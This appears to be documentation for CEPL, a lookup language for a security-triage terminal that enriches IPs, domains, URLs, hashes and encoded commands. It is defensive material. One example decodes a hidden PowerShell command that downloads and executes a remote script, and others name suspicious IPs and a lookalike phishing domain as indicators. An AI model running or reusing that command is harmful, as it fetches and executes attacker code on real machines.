CEPL documentation
CEPL, the Ceplin Enrichment Pipeline Language, is the language of Ceplin, a terminal for security triage. You write an artefact, such as an IP address, a domain, a URL, a file hash or an encoded command, and then the lookups you want on it. Ceplin checks each line against the types its verbs take, and counts the API calls it will make, before it looks anything up.
>>> "cdn-telemetry.xyz".urlscan()[ip]{ abuseipdb()[score], asn()[as_name], rdap()[net_name] } [OK] Multi Report Expression on 45.9.148.112 abuseipdb[score]: 100 asn[as_name]: IPVOLUME, NL rdap[net_name]: IPV-NET
This line scans the domain with urlscan.io, takes the IP address the page was served from, and looks that address up in AbuseIPDB, Team Cymru and RDAP. The same line run again makes the same lookups.
#Main ideas
Types
Each artefact has a type, recognised from its value. Each verb lists the types it takes. A line that passes the wrong type is refused before any lookup.
Cost
Ceplin counts a line's API calls before it runs. A line over your limit stops and asks first. .cost() gives the count without running the line.
No guessing
CEPL does not pick a value for you. A line either does what it says or is refused, and the error message gives the line to write instead.
Reuse
Blocks run several lookups at once. Filters, sorts and groups narrow the results. A chain you use often can be saved as your own verb.
#Examples
An artefact is written in quotes. Each step takes the result of the step before it, and [field] passes one field of a result to the next step.
>>> "185.215.113.66".abuseipdb()[score] [OK] IP reputation [score] on 185.215.113.66 via AbuseIPDB 100 >>> "powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=".decode(auto)[url] [OK] Decode [url] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA= http://cdn-telemetry.xyz/win/update.ps1 >>> "secure-login-paypa1.com".rdap()[age, registrar] [OK] WHOIS / RDAP [age, registrar] on secure-login-paypa1.com via RDAP age: ● 113.7 registrar: NameSilo, LLC
Mistakes are caught before any API call, and the message says what to write:
>>> "185.215.113.66".abuseipdb().geo() [ER] abuseipdb() gives a report, and geo() takes ip: to run both on the same ip, write .{ abuseipdb(), geo() } >>> "198.51.100.0/24".geo() [ER] geo cannot accept cidr (accepts ip)
#Contents
Get started
Set your API keys and run your first lines.
Language tour
The language from start to finish: artefacts, verbs, fields, blocks, filters, variables and saved verbs.
Cookbook
Worked investigations: a phishing domain, an encoded PowerShell command, a proxy log, a malware sample and an email header.
Reference
The definition of the language: the grammar and every rule, with examples.
Verbs and types
Every verb: the types it takes, its cost, its modes and its fields.
Ceplin
The terminal and web workspace that run CEPL.